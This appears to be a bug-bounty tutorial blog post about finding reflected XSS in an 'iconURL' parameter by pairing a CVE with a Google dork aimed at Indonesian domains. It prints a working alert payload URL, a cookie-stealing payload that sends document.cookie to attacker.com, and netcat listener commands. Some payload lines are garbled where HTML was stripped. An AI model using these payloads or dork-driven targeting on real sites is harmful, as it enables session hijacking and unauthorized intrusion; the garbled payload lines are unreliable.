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Introduction:
In the competitive world of bug bounty hunting, success often hinges on the methodical application of fundamental techniques rather than complex zero-day exploits. A recent real-world case demonstrates how a security researcher leveraged a publicly disclosed vulnerability detail, strategic Google dorking, and a classic Reflected Cross-Site Scripting (RXSS) payload to earn a significant bounty from an Indonesian company. This incident underscores the enduring prevalence of XSS flaws and the value of persistent, systematic reconnaissance.
Learning Objectives:
- Understand how to weaponize public vulnerability disclosures (CVEs) and dorks for active discovery.
- Learn the mechanics of testing for and confirming Reflected XSS in web application parameters.
- Develop a professional bug reporting and disclosure workflow that leads to successful bounty payouts.
You Should Know:
- Weaponizing Public Vulnerability Data: The Hunter’s First Clue
The hunt began not with blind testing, but with intelligence gathering. A CVE-2025-4388 advisory, shared within a Telegram channel, provided the initial clue. This CVE described a Reflected XSS vulnerability in a specific web portal login component (/c/portal/login). Crucially, the community also shared a related Google dork, transforming a generic advisory into a targeted hunting tool.
Step‑by‑step guide:
Step 1: Gather Intelligence. Monitor sources like the National Vulnerability Database (NVD), security researcher blogs, and trusted community channels (e.g., specific Telegram/Discord groups) for new CVEs that include proof-of-concept (PoC) details or dorks.
Step 2: Analyze the Dork. The provided dork was inurl:"/c/portal/login". This instructs Google to find pages whose URL contains that exact string, likely indicating a specific web application platform.
Step 3: Regional Targeting. To increase the relevance of findings, the researcher appended `site:.id` to the dork, filtering results to Indonesian domains. The final search query was: `inurl:”/c/portal/login” site:.id`
2. Crafting and Deploying the XSS Payload
Finding a target is only half the battle; you must then prove it’s vulnerable. The vulnerability resided in the `iconURL` parameter of a JSP file. The researcher injected a basic, yet effective, JavaScript payload to trigger an alert box, confirming script execution.
Step‑by‑step guide:
Step 1: Identify the Injection Point. The target URL pattern was: `target.com/o/marketplace-app-manager-web/icon.jsp?iconURL=VALUE`
Step 2: Construct the Payload. The goal is to break out of the `iconURL` parameter value and inject HTML/JavaScript. The used payload was: `https:///”>`
Breakdown: The `”>` closes the opening quote and tag that presumably encapsulates the `iconURL` value. Then, a new `` tag is injected with a deliberately erroneous `src` (
x) to trigger the `onerror` event handler, which executes the `alert(‘xss’)` JavaScript.
Step 3: Execute and Confirm. The full malicious URL becomes: https://target.com/o/marketplace-app-manager-web/icon.jsp?iconURL=https:///"><img src=x onerror=alert('xss')>. Visiting this URL in a browser should pop an alert saying “xss”.
3. Professional Proof-of-Concept Creation
A clear, reproducible PoC is critical for a report to be accepted. For XSS, this often involves creating a video or a series of screenshots.
Step‑by‑step guide:
Step 1: Document the Baseline. Take a screenshot of the normal page.
Step 2: Show the Injection. In your browser’s address bar, clearly show the full URL with the injected payload.
Step 3: Capture the Exploit. Take a screenshot showing the successful JavaScript execution (the alert box). Tools like OBS Studio (cross-platform) or built-in screen recorders (Windows + G, Linux Kazam) are excellent for creating a short video.
4. The Reporting Pipeline: From Submission to Bounty
A valid finding is worthless if not reported properly. The researcher submitted the report to the company via their support system, highlighting a professional approach.
Step‑by‑step guide:
Step 1: Find the Right Channel. Look for a “Security.txt” file (/.well-known/security.txt or /security.txt), a “Report Vulnerability” link, or a general contact/support page. Use responsible disclosure principles.
Step 2: Structure Your Report.
Reflected XSS in `iconURL` parameter of `/icon.jsp`
Risk: Medium (or per the program’s guidelines).
Target: Vulnerable URL.
Steps to Reproduce: Numbered list from finding the page to triggering the alert.
Impact: Explain how an attacker could steal session cookies, deface the site, or phish users. You can demonstrate cookie theft with a more advanced payload: <img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">.
Remediation: Recommend input validation, output encoding, and using a Content Security Policy (CSP).
Step 3: Follow Up and Negotiate. Wait patiently (often 1-4 weeks). If the report is accepted, be prepared to provide any additional info and discuss bounty severity.
5. Beyond the Basic Alert: Escalating Impact
While this was classified as a lower-severity finding, its impact can be escalated, as noted in the comments. Moving from a simple alert to demonstrating real attacker value can increase bounty rewards.
Step‑by‑step guide for Cookie Theft:
Step 1: Set Up a Listener. On your attacker-controlled server, start a netcat listener to receive stolen data.
Linux: `nc -nlvp 8080`
Windows (PowerShell): `nc -lvp 8080` (requires NetCat installed) or use a simple Python HTTP server: `python3 -m http.server 8080`
Step 2: Craft the Exfiltrating Payload. Modify the XSS payload to send the victim’s cookie to your server.
`”>`
Step 3: Demonstrate. In your report, show that the victim’s session cookie can be captured, proving authentication bypass is possible.
What Undercode Say:
- The Gold is in the Methodology, Not Just the 0-Day. This success story is a textbook example of applied cybersecurity fundamentals: open-source intelligence (OSINT) gathering, systematic attack surface enumeration, and precise vulnerability validation. It proves that a rigorous process is often more valuable than waiting for a novel exploit.
- Low Severity Does Not Mean Low Value. While Reflected XSS is often categorized as “Low” or “Medium,” its real-world business impact—enabling session hijacking, phishing, and brand damage—makes it a critical fix. Bug bounty programs that pay on USD scales for such findings demonstrate a mature security posture that values all defensive insights.
Prediction:
The demonstrated workflow signals a growing trend towards the “democratization” of security testing. As vulnerability disclosures increasingly include specific fingerprinting data (like paths and parameters), the barrier to entry for new bug hunters lowers. This will lead to a massive, continuous scanning pressure on common web application frameworks and components. Companies that fail to implement robust, automated security testing in their SDLC will be overwhelmed by reports stemming from publicly known issues. Consequently, we predict a sharp rise in bounties paid for “known-unknown” vulnerabilities—flaws that are documented in CVEs but remain unpatched in specific deployments—making persistent patch management and asset inventory as critical as developing new code securely.
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Reported By: Phims Sec – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
